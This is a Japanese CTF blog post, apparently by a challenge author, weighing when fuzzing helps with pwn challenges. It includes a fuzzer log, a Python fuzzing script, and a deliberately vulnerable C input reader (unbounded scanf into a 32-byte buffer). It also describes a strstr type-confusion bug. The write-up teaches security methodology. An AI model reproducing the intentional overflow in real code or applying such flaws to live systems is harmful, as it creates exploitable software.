[+] __init__: Successfully created new process (PID=23905) add(3, ['vHLlEIpywAZCTh8h77EBHkMhRnrRpfESQnYrTUlK0FTk8ppz1Ov4sCM6UsU5D', 'JiHXC4n0Q4FfVLquaKdWRvVuGBMS5al7BE0SKcpS3khnWdvhyxEBZBvqUBf2ngOf0YlsTp3GN9bEknQ997nVH8eeHle5LjEzfUEWbmFwPwXNE18mPOgqkQwMzB31zqqJbpzpT71GtNJG4GymQG74BHxliCSH8Kq', 'UwOxmF8qkeIBewQFPWddCg19LFdHpshEOJCEyTQJpMz4yXtkLrsD0KGx3VlJnQG4uydWXO9VVdFhrI44R4Jq5pIsQMI', 'MOb3u9tsevXbc3n3KfxoYoCY1yxbGrYkci7d03e8SY9ay9gMtf2LbYX58rIGZ2om8bADhTlpLnDztmibVvCpG0g88lVwV8vIj13r7BIUyWSFZxMIgIFG4uMaBch6GDGlyq1CDSLFiVW2euoYTPjFIgVMZJqqsAcpf49AitBF3Ow3cys', 'wSODzpwzQVruLeSsjr93SEVCIYrt34Lc329yA4kacDQ1YRyAVfxeiCn12ft3c7Oc514r7KSszVvjGv02fBacqYpz0MWpGtugK7fhfiJlKDEMYPKNx3yG8BrrPWpw487xARKe7YhEkddZl9aeXNbbp0z6zgPpGvs3y21ZpreH7V', 'lZ9C7TRVSsdwkOvFmeNEUWAahUN8xBZcnrfX9AIcy5BABONAP7B2tguj8oINxkplpm4O4JZ5Hp313kQnD9RVQYIpF3kABan2lEDTb7nXmIWzgmEFow2LcZZLCY7AODwUjdWsxlK3k8lBeYc84Gzjwo88EQAcKwrWNUQZKdTEu3VW5aU8jD39RlaD9563faZOWbNrIAUdiPOiOkvdxEOQBeqpecZphNIdrW7dYf', 'PuqidrXqI5tf55gjvNMc4G4I3I5E1rqrI6kv2IrXVfNDnSGWz2yqfpAErSk27A2GokUQwBf9rxcpxbwPGODOTfLTqAQBz9WUM6syeqSJ1dwXA1O0yDsXFIwMAPvCaNjeFA0LJRldCzkZGJInlSb3FvQlDHMFzWkmsfgrnv3cpkmJ46IPlzXIJZOSjIXoEUrlGtpOJnt8NI8pREWcRfAmtJ4QvIuth5srlVlu8EuKG512dl6qb5NzmsRvFpc6d']) add(4, ['gUNH9h6Onh00tJzntGfzkfx2MZuXimYSn5U1CGJvKLWgWjMNw9xcoTpQ9cnUSfh3QwQPTf90HjqlzV7r0ptjcOjsMMmDk6iXQmVWbYukuV', '9Km2Jrr1v76v3H7kGl5LX5EBnuldaJwGRicnxWgXALe031B0fIAhzcfJzBxRTgaBXJ48Tl00AIRg2khbVbGQ67vDMZ5ne5mG5CacFl0VCxrYM83gMc88C09AvLuIgMXUetCVPjXeu', 'lRrEvV6eRki5IAPqFOAZulOSiLGZRcNsPYx4hYhERFwiM5vFlloBE3wXyBifELIWXLpJSjD72WKvgmP70yOgx0EYTmsKiN08V9GJyxradx1zQzCs5FvxOmSb5J']) add(4, ['ycnfU1b6AXpSoKN60Qm6k0Toofqfbg19WtORvsSQmHB6Cj31GnzTg1WPCXIBVjIN92kZgmN6KVStdJ9FNUta4gkXubIQRLdRCYxhpDruz3cY2WuawL81KF6RI4B1FiFpt3iqyt', 'upe96kXXlpOxi947mIGutjjThqDNirzOztZbO4cDBH1CFfXlzR6MQ90Shv9mlx5cFX456pEK7vkIp6dj7N0ccz7Qzt1GvIXIWsg5uBzKmxEdrnTjgjCFaHmHhzrbj', 'xD8HvJ0xJaV2IJq7rcidu7DfliHfJqmFBEhatE', 'rUErBEBzGrs5', '5oE1y282I4MIUM6Fq4tnn12dbsf9f3siULFShNRvKwXNggO8JfhO9n2pzz4pc5AK8PfQFxiru01XqaHoxwlaLXNvjp54OmJ3YiwOhRig9eNTUIzne7ZaxndPZ3GkkBoZLnP9MFte4Szk0aR5KpS93QEHfIFiRetvzO24Aspxsq']) view(4)
この問題、実は同じ場所に連続でaddするとバグるような構造になっていました。(そしてそれ以外に重大なバグはない。) そんなものはfuzzerを書くまでもなく適当に遊べば分かるので、この場合はfuzzerを書くための時間を浪費した悪い例と言えます。
babyauth - ASIS CTF 2020 Finals
脆弱性が自明すぎてfuzzerを使うまでもない問題の例です。
これは私が作った問題です。 そして私が作る問題は十中八九脆弱性を自明にしているのでfuzzerを使うまでもありません。*3 ソースコードも配布しているのでrevする必要すらありません。
void username_reader(IPC *ipc) { char username[32]; printf("Username: "); if (scanf("%s", username) != 1) exit(1); ipc_send(ipc, username, strlen(username) + 1); }
この手の「脆弱性はすぐ分かるけど、そこからどうするの?」みたいな問題ではもちろんfuzzerの出番はありません。 直近だとpbctfの問題はexploitパートに比重が置かれていた(好き)ので、fuzzerはほぼ不要でした。
minilang++ - ASIS CTF 2020 Finals
Grammar Basedの問題です。
これも私が作った問題です。 内容としては既存のインタプリタにオレオレJITを付けたという頭お猿さんみたいな問題ですが、それはともかくスクリプトを書く必要がある場合fuzzingが難しいです。
もちろん文法に従ってテストケースを生成するGrammar Based Fuzzerというのも存在するのですが、それをCTF中に書くのは不可能です。 ましてやこの問題はどっかの大学の課題で出る無名言語なので、既存のGrammar Based Fuzzerを使いまわすこともできません。 こういうのは頑張って差分を読むしかないと思います。(実はこういう問題用の簡易fuzzerを書ける場合もあるけど今回は説明しません。)
Widmanstätten - HackTM CTF 2020 Finals
HackTMのpwnは他にもVM問とAndroid pwnがあり、いずれもFuzzingは適用が困難だったので普通に解きました。 この問題はFuzzing可能なタイプだったので使ったのですが、驚くほど何も脆弱性が見つかりませんでした。
よくあるヒープ問みたいな感じでadd, edit, delete的な機能を持ったnodeで動くwasm製アプリです。 次のようなコードを書きましたがクラッシュしませんでした。
state = [] for i in range(500): choice = random.randrange(0, 3) if choice == 0: category = random.randint(1, 4) name = random.choice(CATEGORY[category]) count = random.randint(-0xffffffff, 0xffffffff) print(f"add({category}, '{name}', {count})") state.append(add(category, name, count)) elif choice == 1 and len(state) > 0: index = random.choice(state) count = random.randint(-0xffffffff, 0xffffffff) size = random.randint(120, 121) description = randstr(random.randint(0, size)) print(f"update({index}, {count}, {size}, '{description}')") for desc in update(index, count, size, description): if b"FLAG" in desc: print(desc) input(":eyes:") elif len(state) > 0: index = random.choice(state) print(f"delete({index})") delete(index) state.remove(index) else: index = random.randint(0, 10) print(f"delete({index})") delete(index)
結局wasmをrevして解きました。
プログラムはアイテムの選択で 6文字以上入力されると strstr
で一致するものを選んでいます。
このとき"nuclear"と"Nuclear"があり、"uclear"を入力すればある種のtype confusionが起きます。(私は"\x00"*6を使う非想定解で解きましたが。)
Reversingしなかったため、このような挙動はチェックせず、結果としてクラッシュを見つけられませんでした。
このように、やばい挙動をしているプログラムもあるので入力のsyntaxやsemantics、さらにはtype stateをどこまで精密にするかは難しい問題です。 適当にするとクラッシュが見つかりませんが、正確にしすぎると今回のようにバグを見逃す可能性が上がります。 この辺はトレードオフなので慣れていくしかなさそうです。
∴ fuzzer >>>>>> ptr-yudai